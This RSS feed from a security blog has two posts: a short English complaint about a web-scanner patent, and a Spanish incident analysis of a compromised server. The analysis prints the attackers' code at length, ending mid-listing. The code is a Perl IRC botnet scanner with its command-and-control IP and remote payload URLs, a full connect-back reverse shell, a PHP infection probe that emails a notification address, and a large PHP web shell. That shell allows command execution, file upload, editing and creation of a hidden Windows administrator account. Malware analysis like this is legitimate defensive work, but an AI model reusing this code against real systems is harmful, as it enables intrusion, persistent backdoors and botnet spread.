<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Dojo &#187; &#187; linkedin</title>
	<atom:link href="http://security-dojo.com/categorias/linkedin/feed/" rel="self" type="application/rss+xml" />
	<link>http://security-dojo.com</link>
	<description>Mandando tus logs a /dev/null desde 1976</description>
	<lastBuildDate>Tue, 27 Sep 2011 15:22:00 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>stop232patent.com</title>
		<link>http://security-dojo.com/programming-bits/stop232patent-com/</link>
		<comments>http://security-dojo.com/programming-bits/stop232patent-com/#comments</comments>
		<pubDate>Tue, 15 Feb 2011 02:04:27 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[linkedin]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=125</guid>
		<description><![CDATA[I&#8217;ve been in the security environment for quite around years now, I don&#8217;t consider myself an expert but I consider myself knowledgeable, one thing is all my life I&#8217;ve had awesome people around me, giving me always advise, knowledge and pushing my creativity. I recently catch upon Cenzic having a pretty interesting patent, which basically [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been in the security environment for quite around years now, I don&#8217;t consider myself an expert but I consider myself knowledgeable, one thing is all my life I&#8217;ve had awesome people around me, giving me always advise, knowledge and pushing my creativity.</p>
<p>I recently catch upon Cenzic having a pretty interesting patent, which basically covers any code that baselines a web page and then injects faulty code into parameters to verify vulnerabilities. Yes you read correctly, this patent awarded in 2007 covers all web scanners and even powerful fuzzers into the patent, why it was granted? beats me I presume whoever checked it out didn&#8217;t really find prior art (there is) or really understand what was being patented (go lawyer+techie talk) the result? an overlapping patent.</p>
<p>Now a patent should ALWAYS be used defensively, which means &#8220;I protect myself from other people coming and breaking my stuff, asking me for money for something I developed or saying I didn&#8217;t create it&#8221; the problem is, Cenzic is NOT using the patent defensively, they are using it to get money out of web scanner companies.</p>
<p>IBM/HP already did a cross licensing deal with them, (probably giving them their crawler technology) and now they went and asked <a href="http://www.ntobjectives.com">NTObjectives</a> an insane amount of money, result? NTObjectives is fighting back, the filed a <a href="http://www.ntobjectives.com/news/NTOBJECTivesEntersPatentLitigationWithCenzic,Inc.">suit</a> which will then break the patent and stop this company from basically extorting money out of other companies for a very generic and broken patent.</p>
<p>It makes me sad, why? because one of the patent owners is someone I really respect: Greg Hoglund, the founder of rootkit.com, his books are great and I love them, but this patent, this is wrong. It saddens me the fact that someone on the security environment (I hate using the industry word, because grayhats and blackhats are not on the industry but are still on the environment) would do this and let it go.</p>
<p>I created then the website <a href="http://www.stop232patent.com">www.stop232patent.com</a> you can follow an in depth detail of the analysis of the patent, trial, prior art, etc. </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/stop232patent-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Analisis de una Intrusion y un bot</title>
		<link>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/</link>
		<comments>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 01:52:16 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[linkedin]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[botnet security hacking analisis Scan2009.txt]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=33</guid>
		<description><![CDATA[Est es una mini caso de estudio sobre lo que encontre hace poco en un servidor que tuvo una intrusion, veian como se cargaba el servidor en CPU y memoria y obviamente se cargaba por el acceso a I/O y todos los procesos de escan que hacian sin piedad, donde quedaron los tiempos donde tenias [...]]]></description>
			<content:encoded><![CDATA[<p>Est es una mini caso de estudio sobre lo que encontre hace poco en un servidor que tuvo una intrusion, veian como se cargaba el servidor en CPU y memoria y obviamente se cargaba por el acceso a I/O y todos los procesos de escan que hacian sin piedad, donde quedaron los tiempos donde tenias hackers que eran INVISIBLES y no inservibles? pero bueno que se yo no? jajajajaja</p>
<p>Bueno me toco ayudar a una persona que le hicieron una intrusion con inclusion de codigo, es bastante interesante porque se vio ejecutar perl Scan009.txt que me llamo la atencion y lo consegui del sitio donde bajo el botnet el ataque:</p>
<p>http://matudesign.com/dh/imagenes/Scan2009.txt</p>
<p><span id="more-33"></span></p>
<pre name="code" class="prettyprint">
#!/usr/bin/perl

  ##################################################################
  ##                                                                                 ##
  ##                                                                                 ##
  ##                                                                   05/06/2008    ##
  ##  Author  : BitchX and Osirys                                                    ##                                                             ##
  ##  Team    : FullNetWork                                                          ##
  ##  Ircd    : irc.fullnetwork.org                                                  ##
  ##  WebSite :                                                                      ##
  ##  Contact : safes[dot]modes[at]gmail[dot]com                                     ##
  ##                                                                                 ##
  ##                                                                                 ##
  ##  Release: v1 Private                                                            ##
  ##                                                                                 ##
  ##                                                                                 ##
  #####################################################################################

### !!_/ PRIVATE

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

#######################################################
## CONFIGURATION                                     //
#######################################################

my $id    = "http://matudesign.com/dh/imagenes/02.txt??"; #Your RFI Response
#Shell printed on the Vulnerable Site
my $shell = "http://matudesign.com/dh/imagenes/cmd-shell.txt??";
my $ircd  = "64.136.61.195";
my $port  = "7000";
my $chan1 = "#offspring"; #Chan for Scan
my $chan2 = "#offspring"; #bot will be printed here too
my $nick  = "[D]PRIVATE".(int(rand(100)));
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test in the same time.
#For an accurated scann, it's reccomended to set a low number(1)
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites.
#Unless you will see the bot exiting by an excess flood!
# Instead, if you are scaning on old bugs, so not many results,
# you can put a higher number, so more speed.
my $rfipidpr0c = 50;
my @User_Agent = &#038;Agent();

### USEFULL OPTIONS ( 0 => OFF  ;  1 => ON )

my $spread = "http://matudesign.com/dh/imagenes/01.txt??";

my $spreadACT = 0; #0 ->disabled, 1 ->enabled
my $securityACT = 0; #0 ->disabled, 1 ->enabled

my $killpwd = "lol"; #Password to Kill the Bot
my $chidpwd = "lol"; #Password to change the RFI Response
my $cmdpwd = "lol"; #Password to execute commands on the server
my $secpwd = "lol";
my $spreadpwd = "lol";

my $badspreadpwd != $spreadpwd;
my $badkillpwd != $killpwd;
my $badidpwd != $chidpwd;
my $badcmdpwd =! $cmdpwd;

#######################################################
## END OF CONFIGURATION                              //
#######################################################

open( $f1le, ">", "rm.txt" );
print $f1le "\#!/usr/bin/perl\n";
print $f1le "exec(\"rm -rf \*siti\*\")\;\n";
close $f1le;

my $sys = `uname -a`;
my $up = `uptime`;

if ($spreadACT == 0) {
    $t5 = "OFF";
}
elsif ($spreadACT == 1) {
    $t5 = "ON";
}

if ($securityACT == 0) {
    $y5 = "OFF";
}
elsif ($securityACT == 1) {
    $y5 = "ON";
}

$k=0;

if ( fork() == 0 ) {
    &#038;irc( $ircd, $port, $chan1, $chan2, $nick );
}
else {
    exit;
}

... LONG BORING CODE AVAILABLE ON DEMAND ...

## PRIVATE
## Coded by BitchX and Osirys
</pre>
<p>Este script esta intersante, esta hecho para tomar comandos desde IRC para hacer scans masivos, infectar mas servers y agregarlos dentro de la botnet y reportarse (me encantaron sobre todo los passwords en los que podemos tomar control de la botnet nosotros mismos) asi tambien agregaron y ejecutaron los siguientes scripts:</p>
<p>http://matudesign.com/dh/imagenes/02.txt</p>
<pre name="code" class="prettyprint">
#!/usr/bin/perl

use IO::Socket;

#IRAN HACKERS SABOTAGE Connect Back Shell          

#code by:LorD

#We Are :LorD-C0d3r-NT                                           

#Email:LorD@ihsteam.com

#

#lord@SlackwareLinux:/home/programing$ perl dc.pl

#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#Usage: dc.pl [Host] [Port]

#

#Ex: dc.pl 127.0.0.1 2121

#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121

#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#[*] Resolving HostName

#[*] Connecting... 127.0.0.1

#[*] Spawning Shell

#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121

#listening on [any] 2121 ...

#connect to [127.0.0.1] from localhost [127.0.0.1] 32769

#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--

#

#--==Systeminfo==--

#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux

#

#--==Userinfo==--

#uid=1001(lord) gid=100(users) groups=100(users)

#

#--==Directory==--

#/root

#

#--==Shell==--

#

$system	= '/bin/sh';

$ARGC=@ARGV; 

print "--== ConnectBack Backdoor Shell vs 1.0 by xiP / eu kero comprar meu carroOOOo..!!! ==-- \n\n"; 

if ($ARGC!=2) { 

   print "Usage: $0 [Host] [Port] \n\n"; 

   die "Ex: $0 127.0.0.1 2121 \n"; 

} 

use Socket; 

use FileHandle; 

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; 

connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; 

print "[*] Olhando o servidor...\n";

print "[*] ConectandO... $ARGV[0] \n"; 

print "[*] Spawning Shell \n";

print "[*] Connected to remote host \n";

SOCKET->autoflush(); 

open(STDIN, ">&#038;SOCKET"); 

open(STDOUT,">&#038;SOCKET"); 

open(STDERR,">&#038;SOCKET"); 

print "--== ConnectBack Backdoor vs 1.0 by by xiP / eu kero comprar meu carroOOOo..!!! ==--  \n\n"; 

system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;

echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); 

system($system);

#EOF
</pre>
<p>Ojo con el MAESTRO del system (me preugnto yo para que hacer tanto show y que pasa si no esta el command o peor eso se ve fuertisimo pero bueno no podemos pedir demaciado, jejejejeje</p>
<p>Y esta preciosura tambien:</p>
<pre name="code" class="prettiprint">
<? ob_clean(); ?>
 <?
 $cabeceras = "Content-type: text/html\r\n";
 $m1=$_SERVER['HTTP_HOST'];
 $m2=$_SERVER['REQUEST_URI'];
 $hostn=$_SERVER['HTTP_HOST'];
 $ran = rand(0,999);
 $ran = "$ran$ran";
 $asunto = "$ran # Vuln Owns";
 $arr =array($to,$message);
 $msg = "1nb0x1nh4: $m1.$m2 \nHostname: $hostn\n" . " " . '
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
TAG html TAG
TAG head TAG
TAG meta content="text/html; charset=ISO-8859-1" http-equiv="content-type" TAG
TAG /head TAG
TAG body TAG

';
 mail("math3us1m@hotmail.com", $asunto, $msg, $cabeceras);
 ?>

<?php
$id1 = system(id);
$un = @php_uname();
$os = @PHP_OS;

echo "3b1tchx3mailOK";
echo "id: $id1";
echo "os: $os";
echo "uname -a: $un";
exit;
</pre>
<p>Manda un email a math3us1m@hotmail.com avisandole del hack, mandemosles muchos y muchos correos de hack! jajajaja porque no?</p>
<p>Y para mantener el control usan: http://matudesign.com/dh/imagenes/cmd-shell.txt</p>
<pre name="code" class="prettyprint">
TAG html TAG
TAG head>
TAG meta http-equiv="Content-Language" content="pt-br">
TAG meta name="GENERATOR" content="Microsoft FrontPage 5.0">
TAG meta name="ProgId" content="AoD">
TAG meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
TAG title>My life is Crazy Man TAG/title>
TAG style type="text/css">
A:link {text-decoration:none}
A:visited {text-decoration:none}
A:hover {text-decoration:underline}
A:active {text-decoration:underline}
body,td {
 font-family: verdana;
 font-size: 8pt;
 background-color: #006600;
}
a{
 color: #0000FF;
 text-decoration: none;
}
a:hover {
 color: #FF0000;
 text-decoration: underline;
}
TAG /style>
TAG /head>
TAG body >
TAG center>
<h2> --== ?YOUNGEST? Hack Shell==-- </h2>

</center>
TAG ?php

 @set_time_limit(0);

 $string = $_SERVER['QUERY_STRING'];
 $mhost = 'http://www.freewebs.com/segunogunyemi/derrr.jpg?';
 $host_all = explode("$mhost", $string);
 $s1 = $host_all[0];
 $fstring = $_SERVER['PHP_SELF']."?".$s1.$mhost;

 $OS = @PHP_OS;
 $IpServer = '127.0.0.1';
 $UNAME = @php_uname();
 $PHPv = @phpversion();
 $SafeMode = @ini_get('safe_mode');

 if ($SafeMode == '') { $SafeMode = "<i>OFF</i>"; }
 else { $SafeMode = "<i>$SafeMode</i>"; }

 $btname = 'backtool.txt';
 $bt = 'http://www.smashed-radio.com/forum/cmds.txt';
 $dc = 'http://www.smashed-radio.com/forum/cmds.txt';
 $newuser = '@echo off;net user Admin /add /expires:never
/passwordreq:no;net localgroup

"Administrators" /add Admin;net localgroup "Users" /del
Admin';
 $bn = 'http://www.smashed-radio.com/forum/cmds.txt';
// Java Script
 echo "TAG script type=\"text/javascript\">";

 echo "function ChMod(chdir, file) {";
 echo "var o = prompt('Chmod: - Contoh: 0777', '');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=chmod&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;chmod=' + o + \"\";";
 echo "}";
 echo "}";
 echo "function Rename(chdir, file, mode) {";
 echo "if (mode == 'edit') {";
 echo "var o = prompt('Ganti Nama File '+ file + ' menjadi:', '');";
 echo "}";
 echo "else {";
 echo "var o = prompt('Ganti Nama Folder '+ file + ' menjadi:', '');";
 echo "}";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=rename&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;newname=' + o + '&#038;mode=' + mode +\"\";";
 echo "}";
 echo "}";
 echo "function Copy(chdir, file) {";
 echo "var o = prompt('Copied for:', '/tmp/' + file);";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=copy&#038;chdir=' + chdir +
'&#038;file=' + file +

'&#038;fcopy=' + o + \"\";";
 echo "}";
 echo "}";
 echo "function Mkdir(chdir) {";
 echo "var o = prompt('Nama Folder?', 'Folder_Baru');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=mkdir&#038;chdir=' + chdir +
'&#038;newdir=' + o +

\"\";";
 echo "}";
 echo "}";
 echo "function Newfile(chdir) {";
 echo "var o = prompt('Nama File?', 'File_Baru.txt');";
 echo "if (o) {";
 echo "window.location=\"\" + '{$fstring}&#038;action=newfile&#038;chdir=' + chdir +
'&#038;newfile=' + o +

\"\";";
 echo "}";
 echo "}";
 echo "</script>";

 // End JavaScript

 /* Functions */
 function cmd($CMDs) {
 $CMD[1] = '';
 exec($CMDs, $CMD[1]);
 if (empty($CMD[1])) {
  $CMD[1] = shell_exec($CMDs);
 }
  elseif (empty($CMD[1])) {
  $CMD[1] = passthru($CMDs);
 }
 elseif (empty($CMD[1])) {
  $CMD[1] = system($CMDs);
 }
 elseif (empty($CMD[1])) {
  $handle = popen($CMDs, 'r');
  while(!feof($handle)) {
   $CMD[1][] .= fgets($handle);
  }
  pclose($handle);
 }
 return $CMD[1];
 }

if (@$_GET['chdir']) {
 $chdir = $_GET['chdir'];
} else {
  $chdir = getcwd()."/";
 }
if (@chdir("$chdir")) {
 $msg = "TAG font color=\"#008000\"> Pintu Masuk ke Direktori, OK!</font>";
} else {
 $msg = "TAG font color=\"#FF0000\">Error: Gagal masukkan ke folder!</font>";
 $chdir = str_replace($SCRIPT_NAME, "", $_SERVER['SCRIPT_NAME']);
}
 $chdir = str_replace(chr(92), chr(47), $chdir);

if (@$_GET['action'] == 'upload') {
 $uploaddir = $chdir;
 $uploadfile = $uploaddir. $_FILES['userfile']['name'];
 if (@move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .

$_FILES['userfile']['name'])) {
 $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$_FILES['userfile']['name']}</font>, Upload File Berjaya.

</font>";
 } else {
   $msg = "TAG font color=\"#FF0000\">Error: Upload File Gagal.</font>";
  }
}
elseif (@$_GET['action'] == 'mkdir') {
   $newdir = $_GET['newdir'];
   if (@mkdir("$chdir"."$newdir")) {
    $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$newdir}</font>, folder

berhasil dibuat. </font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Pembuatan folder
gagal.</font>";
     }
}
elseif (@$_GET['action'] == 'newfile') {
   $newfile = $_GET['newfile'];
   if (@touch("$chdir"."$newfile")) {
    $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$newfile}</font>, berhasil

dibuat! </font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Tak Boleh Buat File!</font>";
     }
}

elseif (@$_GET['action'] == 'del') {
    $file = $_GET['file']; $type = $_GET['type'];
    if ($type == 'file') {
     if (@unlink("$chdir"."$file")) {
      $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$file}</font>, Berhasil

menghapus arsip (file)!</font>";
     } else {
        $msg = "TAG font color=\"#FF0000\">Error: Gagal menghapuskan File
(file)!</font>";
       }
    } elseif ($type == 'dir') {
       if (@rmdir("$chdir"."$file")) {
         $msg = "TAG font color=\"#008000\">TAG font color=\"#000080\">{$file}</font>, Berhasil

menghapus folder!</font>";
       } else {
          $msg = "TAG font color=\"#FF0000\">Error: Gagal menghapuskan
folder!</font>";
         }
      }
}
elseif (@$_GET['action'] == 'chmod') {
    $file = $chdir.$_GET['file']; $chmod = $_GET['chmod'];
    if (@chmod ("$file", $chmod)) {

     $msg = "TAG font color=\"#008000\">Chmod dari</font> TAG font color=\"#000080\">{$_GET['file']}</font> TAG font color=\"#008000\">berubah
menjadi</font>

TAG font color=\"#000080\">$chmod</font> TAG font color=\"#008000\">:
Sukses!</font>";
    } else {
       $msg = 'TAG font color=\"#FF0000\">Error: Gagal mengubah
chmod.</font>';
      }
}
elseif (@$_GET['action'] == 'rename') {
    $file = $_GET['file']; $newname = $_GET['newname'];
    if (@rename("$chdir"."$file", "$chdir"."$newname")) {
     $msg = "TAG font color=\"#008000\">Archive</font> TAG font color=\"#000080\">{$file}</font>

TAG font color=\"#008000\">named for</font> TAG font color=\"#000080\">{$newname}</font> TAG font color=\"#008000\">successfully!</font>";
    } else {
       $msg = "TAG font color=\"#FF0000\">Error: Gagal menukar File.</font>";
      }
}
elseif (@$_GET['action'] == 'copy') {
   $file = $chdir.$_GET['file']; $copy = $_GET['fcopy'];
   if (@copy("$file", "$copy")) {
    $msg = "TAG font color=\"#000080\">{$file}</font>, TAG font color=\"#008000\">disalin

menjadi</font> TAG font color=\"#000080\">{$copy}</font> TAG font color=\"#008000\">

Berhasil!</font>";
   } else {
      $msg = "TAG font color=\"#FF0000\">Error: Gagal menyalin </font> TAG font color=\"#000000\">{$file}</font> TAG font color=\"#FF0000\">menjadi</font>
TAG font color=\"#000000\">{$copy}</font></font>";
     }
}
/* Parte Atualiza 02:48 12/2/2006 */

elseif (@$_GET['action'] == 'cmd') {
 if (!empty($_GET['cmd'])) { $cmd = @$_GET['cmd']; }
 if (!empty($_POST['cmd'])) { $cmd = @$_POST['cmd']; }
 $cmd = stripslashes(trim($cmd));
 $result_arr = cmd($cmd);

 $afim = count($result_arr); $acom = 0; $msg = '';
 $msg .= "
<p style=\"color: #000000;text-align: center;font-family: 'Lucida

Console';font-size: 12px;margin 2\">Hasil : <b>".$cmd."</b>

";
 if ($result_arr) {
 while ($acom <= $afim) {
  $msg .= "
<p style=\"color: #008000;text-align: left;font-family:

'Lucida Console';font-size: 12px;margin 2\"> ".@$result_arr[$acom]."

";
 $acom++;
  }
 }
 else {
 $msg .= "
<p style=\"color: #FF0000;text-align: center;font-family: 'Lucida

Console';font-size: 12px;margin 2\">Error: Gagal Menjalankan perintah.

";
 }
}
elseif (@$_GET['action'] == 'safemode') {
if (@!extension_loaded('shmop')) {
 echo "Loading... module</br>";

   if (strtoupper(substr(PHP_OS, 0,3) == 'WIN')) {
       @dl('php_shmop.dll');
   } else {
       @dl('shmop.so');
   }
}

if (@extension_loaded('shmop')) {
 echo "Module: <b>shmop</b> loaded!</br>";

 $shm_id = @shmop_open(0xff2, "c", 0644, 100);
 if (!$shm_id) { echo "Couldn't create shared memory segment\n"; }
 $data="\x00";
 $offset=-3842685;
 $shm_bytes_written = @shmop_write($shm_id, $data, $offset);
 if ($shm_bytes_written != strlen($data)) { echo "Couldn't write the entire
length of

data\n"; }
 if (!shmop_delete($shm_id)) { echo "Couldn't mark shared memory block for
deletion."; }
 echo passthru("id");
 shmop_close($shm_id);

} else { echo "Module: <b>shmop</b> tidak dimuat!</br>"; }
}

elseif (@$_GET['action'] == 'zipen') {
 $file = $_GET['file'];
 $zip = @zip_open("$chdir"."$file");
 $msg = '';
if ($zip) {

   while ($zip_entry = zip_read($zip)) {
       $msg .= "Name:               " . zip_entry_name($zip_entry) . "\n";
       $msg .= "Actual Filesize:    " . zip_entry_filesize($zip_entry) .
"\n";
       $msg .= "Compressed Size:    " .
zip_entry_compressedsize($zip_entry) . "\n";
       $msg .= "Compression Method: " .
zip_entry_compressionmethod($zip_entry) . "\n";

       if (zip_entry_open($zip, $zip_entry, "r")) {
           echo "File Contents:\n";
           $buf = zip_entry_read($zip_entry,
zip_entry_filesize($zip_entry));
           echo "$buf\n";

           zip_entry_close($zip_entry);
       }
       echo "\n";

   }

   zip_close($zip);

}
}
elseif (@$_GET['action'] == 'edit') {
 $file = $_GET['file'];
 $conteudo = '';
 $filename = "$chdir"."$file";
 $conteudo = @file_get_contents($filename);
 $conteudo = htmlspecialchars($conteudo);
 $back = $_SERVER['HTTP_REFERER'];
 echo "
<p align=\"center\">Editing {$file} ...

";
 echo "
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"
style=\"border-collapse:

collapse\" width=\"100%\" id=\"editacao\">";
 echo "
<tr>";
 echo "
<td width=\"100%\">";
 echo "
<form method=\"POST\"

action=\"{$fstring}&amp;action=save&amp;chdir={$chdir}&amp;file={$file}\">";
 echo "<!--webbot bot=\"SaveResults\" u-file=\"_private/form_results.csv\"

s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" -->
<p align=\"center\">";
 print "<textarea rows=\"18\" name=\"S1\" cols=\"89\" style=\"font-family:
Verdana;

font-size: 8pt; border: 1px solid #000000\">{$conteudo}</textarea>

";
 echo "
<p align=\"center\">";
 echo "
<input type=\"submit\" value=\"Simpan\" name=\"B2\" style=\"  border:
1px solid

#000000\"> ";
 echo "
<input type=\"button\" value=\"Tutup\"

Onclick=\"javascript:window.location='{$fstring}&amp;chdir={$chdir}'\"
name=\"B1\" style=\"

border: 1px solid #000000\"> ";
 echo "</form>

";
 echo "</td>

";
 echo "</tr>

";
 echo "</table>

";
}
elseif (@$_GET['action'] == 'save') {
  $filename = "$chdir".$_GET['file'];
  $somecontent = $_POST['S1'];
  $somecontent = stripslashes(trim($somecontent));
  if (is_writable($filename)) {
   @$handle = fopen ($filename, "w");
   @$fw = fwrite($handle, $somecontent);
   @fclose($handle);
   if ($handle &#038;&#038; $fw) {
    $msg = "TAG font color=\"#000080\">{$_GET['file']}</font>, TAG font color=\"#008000\">berhasil diedit!</font>";
   }
 } else {
   $msg = "TAG font color=\"#000000\">{$_GET['file']},</font> TAG font color=\"#FF0000\">tidak

bisa ditulisi!</font>";
  }
}

// Informa?s
 $cmdget = '';
 if (!empty($_GET['cmd'])) { $cmdget = @$_GET['cmd']; }
 if (!empty($_POST['cmd'])) { $cmdget = @$_POST['cmd']; }
 $cmdget = htmlspecialchars($cmdget);
 function asdads() {
 $asdads = '';
 if (@file_exists("/usr/bin/wget")) { $asdads .= "wget "; }
 if (@file_exists("/usr/bin/fetch")) { $asdads .= "fetch "; }
 if (@file_exists("/usr/bin/curl")) { $asdads .= "curl "; }
 if (@file_exists("/usr/bin/GET")) { $asdads .= "GET "; }
 if (@file_exists("/usr/bin/lynx")) { $asdads .= "lynx "; }
 return $asdads;
 }

echo "
<form method=\"POST\" name=\"cmd\"

action=\"{$fstring}&amp;action=cmd&amp;chdir=$chdir\">";
echo "
<fieldset style=\"border: 1px solid #000000; padding: 2\">";
echo "
<legend>Informasi</legend>

";
echo "
<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\"
style=\"border-collapse:

collapse; font-family: Verdana; font-size: 10px\" width=\"100%\">";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Sistem </b> </td>

 ";
echo "
<td width=\"92%\">: {$OS}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Nama </b></td>

 ";
echo "
<td width=\"92%\">: {$UNAME}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>PHP </b></td>

 ";
echo "
<td width=\"92%\">: {$PHPv}, <b> Safe Mode :</b> {$SafeMode}</td>

";
echo "</tr>

";
 if (strtoupper(substr($OS, 0,3) != 'WIN')) {
 $Methods = asdads();
 if ($Methods == '') { $Methods = "???"; }
 echo "
<tr>";
 echo "
<td width=\"8%\">";
 echo "<b>Methods </b></td>

 ";
 echo "
<td width=\"92%\">: {$Methods}</td>

";
 echo "</tr>

";
 }

echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>IP </b></td>

 ";
echo "
<td width=\"92%\">: {$IpServer}</td>

";
echo "</tr>

";
echo "
<tr>";
echo "
<td width=\"8%\">";
echo " <b>Perintah </b></td>

 ";
echo "
<td width=\"92%\">:
<input type=\"text\" size=\"70\" name=\"cmd\"
value=\"{$cmdget}\"

style=\" font-size: 8 pt; border: 1px solid #000000\">
<input
type=\"submit\"

name=\"action\" value=\"Kirim\" style=\" font-size: 8 pt; border: 1px solid

#000000\"></td>

";
echo "</tr>

";
echo "</table>

";
echo "</fieldset>
</form>

";
// Dir

echo "
<form method=\"POST\"
action=\"{$fstring}&amp;action=upload&amp;chdir=$chdir\"

enctype=\"multipart/form-data\">";
echo "<!--webbot bot=\"FileUpload\" u-file=\"_private/form_results.csv\"

s-format=\"TEXT/CSV\" s-label-fields=\"TRUE\" -->
<fieldset style=\"border:
1px solid

#000000; padding: 2\">";
if (is_writable("$chdir")) {
 if (strtoupper(substr($OS, 0,3) == 'WIN')) {
 echo "
<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd=$newuser\">Remote

Access</a></legend>

";
 } else {
   echo "
<legend>Dir <b>YES</b>: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=yes\">Kembali</a></legend

>";
  }
}
else {
if (strtoupper(substr($OS, 0,3) == 'WIN')) {
 echo "
<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Foldr Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd={$newuser}\">Remote

Access</a></legend>

";
 } else {
   echo "
<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=no\">Kembali</a></legend>

";
  }
}

if (@!$handle = opendir("$chdir")) {
 echo " Gue gak bisa masuk folder, <a href=\"{$fstring}\">Klik sini!</a>
untuk Kembali ke folder ori!</br>";
}
else {
echo "
<table border=\"0\" cellpadding=\"5\" cellspacing=\"0\"
width=\"100%\">";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> Upload:";
echo "
<input type=\"file\" name=\"userfile\" size=\"65\" style=\"
border-style:

solid; border-width: 1\">";
echo "
<input type=\"submit\" value=\"Kirim\" name=\"B1\" style=\"
border: 1px solid

#000000\"></td>

";
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> </td>

";
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\">";
if (@!$msg) {
 echo "
<p align=\"left\">Messages</td>

";
} else {
  echo "
<p align=\"left\">$msg</td>

";
 }
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> </td>

";
echo "    </tr>
</table>

 ";
echo "
<table border=\"1\" cellpadding=\"2\" cellspacing=\"0\"
width=\"100%\">";
echo "
<tr bgcolor=\"#FF6600\" align=\"center\"> ";
echo "
<td > Permision</td>

";
echo "
<td > Nama File </td>

";
echo "
<td > Kapasiti </td>

";
echo "
<td > Perintah</td>

";
echo "     </tr>

";
$colorn = 0;
   while (false !== ($file = readdir($handle))) {
